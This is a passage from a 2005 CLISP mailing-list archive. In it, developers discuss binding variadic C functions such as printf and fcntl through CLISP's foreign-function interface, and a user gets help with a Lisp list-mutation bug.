1DQhql-0000VI-GM for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 01:24:51 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DQhqk-0002aI-KM for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 01:24:51 -0700 Received: from g8pbq.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 27 Apr 2005 10:24:39 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Apr 2005 10:22:42 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03040835F8@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ffi:def-call-out with variable parameters number Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 01:27:39 2005 X-Original-Date: Wed, 27 Apr 2005 10:22:40 +0200 Hi, >> * Yaroslav Kavenchuk wrote: >> How define it? >> For example - printf. >see modules/bindings/glibc/linux.lisp and search for "fcntl". Excellent reference. Typically, you have a few polymorphic uses, like also for ioctl(). Typically, I wrote in the past that if the library that you want to interface to only contains/exports/documents something like printf() without providing vprintf(), then you should complain to the library provider. printf() is a convenience function for C programmers to allow them to call varargs functions easily when the number of arguments is known ni the source file. The real workhorse is vprintf(), i.e. the function that takes a pointer to an array. printf() is especially difficult to interface to since the argument types can all be different. When all are of the same kind, e.g. strings, here is what I wrote in modules/bindings/glibc/linux.lisp about the exec() family of functions: (def-call-out execv (:arguments (path c-string) (argv (c-array-ptr c-string))) (:return-type int) (:name "execv")) You see how clisp can very succintly describe the interface to execv() ; Foreign language interfaces should use the execv* series of functions, ; not the C varargs convenience functions. (defun execl (path &rest args) (execv path (coerce args 'vector))) Having printf() without vprintf() is akin to the same kind of stupidity (say limitation to be polite) when somebody only exports a macro interface without documenting the underlying function when all the macro does is to remove the need for quoting arguments at the interactive prompt. I hope nobody does so anymore these days in Common Lisp. What I mean is that to a C programmer, it's easier to wrote foo(a,b,c,...) than to construct an array and pass that. C provides ways to somehow work with that, so people use it this way. But they can only use it literally in C source files. They need something really different and quite complex when they want to do the equivalent of FUNCALL or APPLY, i.e. call that same function with an unknown number of arguments. Since you're interfacing to tcl libraries, I hope there's some function where you just pass an array of strings, or, like for fnctl(), a few different cases that you cover via a few different functions. Another possibility is to construct the function definition at run-time, using the FOREIGN-FUNCTION constructor and a list of memoized C-type declarations, based on the actual number of arguments. (apply (foreign-function #'the-0-or-1-arg-function ; get its address (memoized-parse-c-type `(c-function (:arguments ,(loop repeat (length args)) ...)))) args) Memoization is the key to acceptable performance. You should avoid PARSE-C-TYPE at run-time, it's a huge overhead. You could even try to memoize the function itself, but then need to check for valid (alive) function pointers in case you expect to be able to restart from a saved image file. That could be faster than the c-array-ptr solution when you have a list of arguments, especially if you cannot avoid to create a new vector for each call, since I expect (APPLY foreign-function my-args) to be as efficient as can be. Regards, Jorg Hohle From fw@deneb.enyo.de Wed Apr 27 02:22:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQikf-0003rR-KT for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 02:22:37 -0700 Received: from mail.enyo.de ([212.9.189.167]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DQikc-0000ld-3c for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 02:22:37 -0700 Received: from deneb.enyo.de ([212.9.189.171]) by albireo.enyo.de with esmtp id 1DQikC-0002dL-29; Wed, 27 Apr 2005 11:22:08 +0200 Received: from fw by deneb.enyo.de with local (Exim 4.50) id 1DQikB-0000vR-Rk; Wed, 27 Apr 2005 11:22:07 +0200 From: Florian Weimer To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, kavenchuk@jenty.by Subject: Re: [clisp-list] Re: ffi:def-call-out with variable parameters number References: <5F9130612D07074EB0A0CE7E69FD7A03040835F8@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03040835F8@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 27 Apr 2005 10:22:40 +0200") Message-ID: <87mzrkh8w0.fsf@deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 02:26:38 2005 X-Original-Date: Wed, 27 Apr 2005 11:22:07 +0200 * Joerg-Cyril Hoehle: > Hi, > >>> * Yaroslav Kavenchuk wrote: >>> How define it? >>> For example - printf. >>see modules/bindings/glibc/linux.lisp and search for "fcntl". > > Excellent reference. Does fcntl work on platforms where the number of non-variadic parameters influences the calling convention? (AMD64 could be one of them, there was a recent discussion on the GCC mailing list.) From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 27 04:37:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQkqi-0002qa-Lv for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 04:37:00 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQkqd-0005cJ-QL for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 04:37:00 -0700 Received: from g8pbq.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 27 Apr 2005 13:36:43 +0200 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Apr 2005 13:35:19 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304083678@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: fw@deneb.enyo.de Cc: clisp-list@lists.sourceforge.net, kavenchuk@jenty.by Subject: Re: [clisp-list] Re: ffi:def-call-out with variable parameters nu mber MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 04:39:21 2005 X-Original-Date: Wed, 27 Apr 2005 13:35:11 +0200 Florian Weimer asks: >Does fcntl work on platforms where the number of non-variadic >parameters influences the calling convention? (AMD64 could be one of >them, there was a recent discussion on the GCC mailing list.) IMHO, that should be the job of the ffcall package to get this right, if there is actually a problem. These days, ffcall is maintained separatedly from CLISP AFAIK and used in at least one other software (some Smalltalk, IIRC). What's the "number of non-variadic parameters"? fcntl() seems quite different from printf to me: the latter takes an arbitrary number of arguments, whereas int fcntl(int fd, int cmd); int fcntl(int fd, int cmd, long arg); int fcntl(int fd, int cmd, struct flock *lock); is all that a Suse Linux 8.[01] box here knows about, according to the manpage. Do you mean that calling a function declared via (fcntl.h) : extern int fcntl (int __fd, int __cmd, ...) __THROW; may cause the compiler to produce different code for d=fnctl(a,b,c); than a declaration as int fcntl(int fd, int cmd, struct flock *lock); which is what the FFI will pass to ffcall? Regards, Jorg Hohle. From fw@deneb.enyo.de Wed Apr 27 04:53:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQl6R-0003wh-78 for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 04:53:15 -0700 Received: from mail.enyo.de ([212.9.189.167]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DQl6M-0000rf-3n for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 04:53:15 -0700 Received: from deneb.enyo.de ([212.9.189.171]) by albireo.enyo.de with esmtp id 1DQl6D-0008UP-AH; Wed, 27 Apr 2005 13:53:01 +0200 Received: from fw by deneb.enyo.de with local (Exim 4.50) id 1DQl6C-0001un-PL; Wed, 27 Apr 2005 13:53:00 +0200 From: Florian Weimer To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, kavenchuk@jenty.by Subject: Re: [clisp-list] Re: ffi:def-call-out with variable parameters nu mber References: <5F9130612D07074EB0A0CE7E69FD7A0304083678@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0304083678@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 27 Apr 2005 13:35:11 +0200") Message-ID: <87d5sgfnc3.fsf@deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 04:55:30 2005 X-Original-Date: Wed, 27 Apr 2005 13:53:00 +0200 * Joerg-Cyril Hoehle: > What's the "number of non-variadic parameters"? The number of arguments before the ellipsis. > fcntl() seems quite different from printf to me: At the C level, it's not. > the latter takes an arbitrary number of arguments, whereas > int fcntl(int fd, int cmd); > int fcntl(int fd, int cmd, long arg); > int fcntl(int fd, int cmd, struct flock *lock); > is all that a Suse Linux 8.[01] box here knows about, according to the manpage. The manpage lies about the prototype. 8-> > Do you mean that calling a function declared via (fcntl.h) : > extern int fcntl (int __fd, int __cmd, ...) __THROW; > may cause the compiler to produce different code for > d=fnctl(a,b,c); > than a declaration as > int fcntl(int fd, int cmd, struct flock *lock); > which is what the FFI will pass to ffcall? The problem is slightly worse. If you have too declarations, int fcntl1 (int __fd, int __cmd, ...); int fcntl2 (int __fd, ...); the invocations fcntl1 (1, 2, 0L); fcntl2 (1, 2, 0L); result in different (and incompatible) calling sequences on some architectures (not according to the i386 psABI, but AIX and many MIPS targets are in this category). From Joerg-Cyril.Hoehle@t-systems.com Wed Apr 27 05:20:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQlWP-0005HC-98 for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 05:20:05 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQlWN-0001fq-KC for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 05:20:05 -0700 Received: from g8pbr.blf01.telekom.de by tcmail31.dmz.telekom.de with ESMTP; Wed, 27 Apr 2005 14:19:51 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Apr 2005 14:19:55 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03040836AC@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: fw@deneb.enyo.de Subject: Re: [clisp-list] Re: ffi:def-call-out with variable parameters nu mber MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 05:22:55 2005 X-Original-Date: Wed, 27 Apr 2005 14:19:55 +0200 Hi, Florian Weimer wrote: >> Do you mean that calling a function declared via (fcntl.h) : >> extern int fcntl (int __fd, int __cmd, ...) __THROW; >> may cause the compiler to produce different code for >> d=fnctl(a,b,c); >> than a declaration as >> int fcntl(int fd, int cmd, struct flock *lock); >> which is what the FFI will pass to ffcall? > >The problem is slightly worse. If you have too declarations, > int fcntl1 (int __fd, int __cmd, ...); > int fcntl2 (int __fd, ...); >the invocations > fcntl1 (1, 2, 0L); > fcntl2 (1, 2, 0L); >result in different (and incompatible) calling sequences on some >architectures (not according to the i386 psABI, but AIX and many MIPS >targets are in this category). Thanks for the information. As far as CLISP is concerned, what matters is the first example, not the second. CLISP will pass full parameter types to ffcall, which AFAIK does not know about ellipses. I don't know if there are problems with full declarations vs. ellipses. I couldn't find the gcc thread you initially mentioned. I have never heard of that before (although passing different types in different registers (e.g. floating point vs. general) or stack locations with varying alignment (char vs. word-aligned) has a long tradititon, so far things worked well enough on Sparc, m68k and x86 where I had a chance to take a closer look many years ago). In summary the following may be problematic functions, but nobody knows: extern int open (__const char *__file, int __oflag, ...) extern int fcntl (int __fd, int __cmd, ...) printf, snprintf, etc ... Regards, Jorg Hohle From fw@deneb.enyo.de Wed Apr 27 05:29:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQlfW-0005or-Mb for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 05:29:30 -0700 Received: from mail.enyo.de ([212.9.189.167]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DQlev-0002dc-25 for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 05:29:30 -0700 Received: from deneb.enyo.de ([212.9.189.171]) by albireo.enyo.de with esmtp id 1DQles-0006eu-GW; Wed, 27 Apr 2005 14:28:50 +0200 Received: from fw by deneb.enyo.de with local (Exim 4.50) id 1DQler-00024c-Px; Wed, 27 Apr 2005 14:28:49 +0200 From: Florian Weimer To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: ffi:def-call-out with variable parameters nu mber References: <5F9130612D07074EB0A0CE7E69FD7A03040836AC@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03040836AC@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 27 Apr 2005 14:19:55 +0200") Message-ID: <87wtqoe73y.fsf@deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 05:32:58 2005 X-Original-Date: Wed, 27 Apr 2005 14:28:49 +0200 * Joerg-Cyril Hoehle: > I don't know if there are problems with full declarations > vs. ellipses. I couldn't find the gcc thread you initially > mentioned. You can start browsing the thread at: From sds@gnu.org Wed Apr 27 07:48:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQnpv-0005qw-6j for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 07:48:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DQnpq-0001NV-A5 for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 07:48:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3RElrHl021673; Wed, 27 Apr 2005 10:47:54 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03040835DA@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 27 Apr 2005 09:50:38 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A03040835DA@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ffi:c-ptr / ffi:c-ptr-null have strictly no effe ct? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 07:55:21 2005 X-Original-Date: Wed, 27 Apr 2005 10:47:35 -0400 > * Hoehle, Joerg-Cyril [2005-04-27 09:50:38 +0200]: > > There are only very few tests of ffi:sizeof in the CLISP testsuite for > the evident reason that it's highly machine dependent. > But I could happily add one like > c-struct character,(array character 3) -> 4;1 > or at least (sizeof (array character 3) -> (* 3 (sizeof character)) this must be checked somewhere. the more tests the better (remember, tests are also examples!) > UNLESS somebody tolds me that even that cannot be expected on all > machines (or at least those that clisp works on)! in that case we need alignof tests in configure. if alignof does not work on the machine, maybe ffi:sizeof should be disabled - or made to return just one value. Thanks for your explanations! -- Sam Steingold (http://www.podval.org/~sds) running w2k NY survival guide: when crossing a street, mind cars, not streetlights. From lisp-clisp-list@m.gmane.org Wed Apr 27 09:38:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQpYG-0006Vi-Rs for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 09:38:16 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DQpYE-0000DQ-2U for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 09:38:16 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1DQpQK-0000xU-KZ for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 18:30:07 +0200 Received: from i60nb23.ipr.uni-karlsruhe.de ([141.3.81.223]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 27 Apr 2005 18:30:04 +0200 Received: from anschmid by i60nb23.ipr.uni-karlsruhe.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 27 Apr 2005 18:30:04 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Andreas Schmid Lines: 70 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 141.3.81.223 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 SUSE/1.0.3-1.1) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Empty list problem with clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 09:40:22 2005 X-Original-Date: Wed, 27 Apr 2005 16:21:46 +0000 (UTC) Hi there, I've got a problem with code that used to work with a different implementation of Common Lisp. Unfortunately it doesn't now with clisp. The idea of the code is to build a database of facts. It works just fine if the database is non-empty, i.e. it already contains a fact. When starting with an empty list, however, it seems to be impossible to add the first element to it AND retain it. Here are the two functions involved and the dribble: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; function "make-db" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; creates an empty database ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (defun make-db () (format t "Empty database created:") ()) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; function "add-fact" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;; adds a fact to a database ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (defun add-fact (database new-fact) (cond ((null new-fact) (format t "List contains no data. Nothing added to database.")) ((atom new-fact) (format t "Fact should be a list.")) ((listp new-fact) (format t " Adding to database:~% ~A~%" database) (if (null database) (progn (setf database (list new-fact)) (format t " Database empty!")) (setf (rest database) (cons new-fact (rest database)))) new-fact) (t (format t "Fact should be a list.")) ) database ) DRIBBLE: Break 2 [2]> (setf db (make-db)) Empty database created: NIL Break 2 [2]> (add-fact db '(mother-of john mary)) Adding to database: NIL Database empty! ((MOTHER-OF JOHN MARY)) Break 2 [2]> db NIL Break 2 [2]> (setf db (list '(mother-of john mary))) ((MOTHER-OF JOHN MARY)) Break 2 [2]> db ((MOTHER-OF JOHN MARY)) Break 2 [2]> (add-fact db '(mother-of fred mary)) Adding to database: ((MOTHER-OF JOHN MARY)) ((MOTHER-OF JOHN MARY) (MOTHER-OF FRED MARY)) Break 2 [2]> db ((MOTHER-OF JOHN MARY) (MOTHER-OF FRED MARY)) Does anyone have an idea what is going on here? Thanks a lot! Andreas From e@flavors.com Wed Apr 27 12:16:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQs1R-0000MY-Ik for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 12:16:33 -0700 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DQs1Q-0003Sj-4H for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 12:16:33 -0700 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Wed, 27 Apr 2005 15:16:26 -0400 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <927110598.20050427151622@flavors.com> To: Andreas Schmid CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Empty list problem with clisp In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.2 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 27 12:18:27 2005 X-Original-Date: Wed, 27 Apr 2005 15:16:22 -0400 > Does anyone have an idea what is going on here? > DRIBBLE: > Break 2 [2]> (setf db (make-db)) > Empty database created: > NIL > Break 2 [2]> (add-fact db '(mother-of john mary)) > Adding to database: > NIL > Database empty! > ((MOTHER-OF JOHN MARY)) You have not captured the modified db; the line above should be: (setf db (add-fact db '(mother-of john mary))) e From pjb@informatimago.com Wed Apr 27 12:49:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DQsXZ-0002MW-SC for clisp-list@lists.sourceforge.net; Wed, 27 Apr 2005 12:49:45 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by 